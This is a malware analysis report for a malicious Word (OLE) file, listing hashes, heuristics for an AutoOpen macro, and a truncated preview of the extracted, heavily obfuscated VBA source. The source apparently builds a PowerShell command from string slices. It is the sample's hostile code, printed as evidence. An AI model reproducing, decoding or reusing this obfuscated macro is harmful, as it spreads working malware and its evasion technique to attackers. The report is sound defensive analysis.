Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6cb71597caf71dfe…

MALICIOUS

Office (OLE)

171.2 KB First seen: 2019-04-18
MD5: 14b0f70c588678998ad0e4b65d6d0943 SHA-1: 36ac87e5462af89fab76c4c0245aa4aae8914671 SHA-256: 6cb71597caf71dfeb11c794533fdebaefeed2a83210858b2cef8bea4e7c19d0a
82 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an OLE file containing a legacy WordBasic AutoOpen macro, indicating a malicious intent to execute code upon opening. The VBA macro is heavily obfuscated, making it difficult to determine the exact payload, but its presence and the AutoOpen marker strongly suggest an attempt to run arbitrary code. No specific family could be identified due to the obfuscation.

Heuristics 4

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 246131 bytes
SHA-256: 11db8789f45242708005d0d800d4b0bbe3d7134d4aad5264a2195237aaf6c334
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EzHGczd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function hKmAEoQNTSI()

On Error Resume Next
prClFam = (GYZqVFnui - CDbl(178804) + nTEwHrsdKMJ + Fix(QZNoT / CLng(777485 * Sqr(lkEOU))) - 143648 / Sin(OQQbmlFlbBG - PtkLsbPaV - 466620 + CLng(Izchl)) * 415217 * Fix(178804))
PjUFm = "8Rowers9hgTqyUSGgOA7JA4U4hellGwSx  . ((GENPcsDK7wq3DaR"
DiLdKGVMR = CStr(Left(Right(PjUFm, 52), 5)) + CStr(Left(Right(PjUFm, 29), 4)) + Left(Right(PjUFm, 21), 4) + Left(Right(PjUFm, 17), 4) + Left(Right(PjUFm, 44), 1)

dKHXqXJDVH = "szeEPqc*mdR*').nAMI4gQU[3SL74HzbD9b2WSi5vek-vArIabLe 'ESUsHwVUatd4ZD6jBk7C8,11,zHMnjRac"
uouZYd = Left(Right(dKHXqXJDVH, 44), 11) + CStr(Left(Right(dKHXqXJDVH, 80), 11)) + Left(Right(dKHXqXJDVH, 85), 1) + CStr(Left(Right(dKHXqXJDVH, 64), 2)) + CStr(Left(Right(dKHXqXJDVH, 12), 4))

UrwZYNjUI = "szIEPqce('. ( ([sTr4gQUAngL74HzbD9b2WSi5vekqgx2]-jOin'')( HwVUatd4ZD6jBk7C81feUz]ryIVacRv9XeA"
rHpJziYoDw = CStr(Left(Right(UrwZYNjUI, 47), 12)) + CStr(Left(Right(UrwZYNjUI, 85), 11)) + Left(Right(UrwZYNjUI, 91), 1) + Left(Right(UrwZYNjUI, 69), 2) + CStr(Left(Right(UrwZYNjUI, 13), 5))

IDZEjmS = "sE3ePreFBdRmNhliCqIerBOswSL74HzbD9e2WSi"
twrIhzw = Left(Right(IDZEjmS, 20), 5) + CStr(Left(Right(IDZEjmS, 36), 5)) + CStr(Left(Right(IDZEjmS, 38), 1)) + CStr(Left(Right(IDZEjmS, 29), 1)) + CStr(Left(Right(IDZEjmS, 5), 1))

zXwUiK = "3u[1,EP]ceBdgNCE)iCqI4gQUAw"
bRwicjbhbi = Left(Right(zXwUiK, 14), 4) + Left(Right(zXwUiK, 25), 3) + Left(Right(zXwUiK, 27), 1) + Left(Right(zXwUiK, 20), 1)

qDonbjvaE = Chr(43)
hHrUVjtLRG = "2b'HqEiz3EPq"
mpGHDTUQmHz = CStr(Left(Right(hHrUVjtLRG, 7), 2)) + CStr(Left(Right(hHrUVjtLRG, 11), 2))

iBXsYNcY = Chr(43)
DLiXtwTRSd = "sz3dPqceBdb) ((EibLD5nsawSL74Hasd9b2WSi5vekqgxAzKKpOzlESU'xEib-JOInEibEi7C81feUzHMnjRacRv9XeAmaR4qCbO = EibmdCmqOIe8h"
wKUIO = CStr(Left(Right(DLiXtwTRSd, 60), 15)) + Left(Right(DLiXtwTRSd, 107), 14) + Left(Right(DLiXtwTRSd, 114), 1) + Left(Right(DLiXtwTRSd, 87), 3) + Left(Right(DLiXtwTRSd, 16), 6)

JQZmW = Chr(43)
zjupfmwpO = (ANVako - CDbl(531570) + vBwoPR + Fix(HniutSuhO / CLng(835175 * Sqr(ZLzzw))) - 531351 / Sin(cjzvQ - CLdjZTjO - 477086 + CLng(iOKisEEvvRS)) * 259741 * Fix(531570))
XmztdvNHz = "iu(BEEPbceBdgEib&iCqI4gQUAw"
MMEoWT = Left(Right(XmztdvNHz, 14), 4) + Left(Right(XmztdvNHz, 25), 3) + Left(Right(XmztdvNHz, 27), 1) + Left(Right(XmztdvNHz, 20), 1)

hfShbH = Chr(43)
PwnXj = "iuhnBEPqbeBdgmEibgCqI4gQUAwSL7"
RDdKp = Left(Right(PwnXj, 16), 4) + Left(Right(PwnXj, 28), 4) + CStr(Left(Right(PwnXj, 30), 1)) + CStr(Left(Right(PwnXj, 22), 1))

JsiDj = Chr(43)
fVjKlsb = "bgEisz3EPqEibdgmNhliC"
zMHodaMoKu = CStr(Left(Right(fVjKlsb, 11), 3)) + Left(Right(fVjKlsb, 20), 3) + Left(Right(fVjKlsb, 21), 1)

jfoFuhDCZli = Chr(43)
qoTEqoowt = "2bhHqEiz3EPq"
TYaIbAU = CStr(Left(Right(qoTEqoowt, 7), 2)) + CStr(Left(Right(qoTEqoowt, 11), 2))

AIkWBaqpH = Chr(43)
nKjkFYd = "heBgsz3EPqBghdgmNhliC"
SqXGwiB = CStr(Left(Right(nKjkFYd, 11), 3)) + Left(Right(nKjkFYd, 20), 3) + Left(Right(nKjkFYd, 21), 1)
RDTrOuJTswM = (vHhlKHzB - CDbl(510856) + HKmZlpidA + Fix(LYjjrv / CLng(23314 * Sqr(MGzhWub))) - 134218 / Sin(IKDDfEvWLK - hRcEfprlBDM - 14632 + CLng(qpqvtECk)) * 289198 * Fix(510856))
awObFsYhzBF = Chr(43)
LwlaOlhwMAE = "b1FHEisz3"
cuInTw = Left(Right(LwlaOlhwMAE, 5), 2) + Left(Right(LwlaOlhwMAE, 9), 1)

XSwPUfm = Chr(43)
QWSdi = "sE3w-objedgmihliCqI4gQEibBgh4HzbD9b2WSi5bekqg"
GiWvEPZznSp = CStr(Left(Right(QWSdi, 23), 6)) + Left(Right(QWSdi, 42), 6) + CStr(Left(Right(QWSdi, 44), 1)) + Left(Right(QWSdi, 33), 1) + Left(Right(QWSdi, 5), 1)

wfIjXLMX = Chr(43)
IpdjbaUm = "hcBgsz3EPqEibdgmNhliC"
YjHTFLdbh = CStr(Left(Right(IpdjbaUm, 11), 3)) + Left(Right(IpdjbaUm, 20), 3) + Left(Right(IpdjbaUm, 21), 1)

vSzSDdGAwDz = Chr(43)
NPTdT = "'tBgsz3EPqBghdgmNhliC"
VdVWrKS = CStr(Left(Right(NPTdT, 11), 3)) + Left(Right(NPTdT, 20)
... (truncated)

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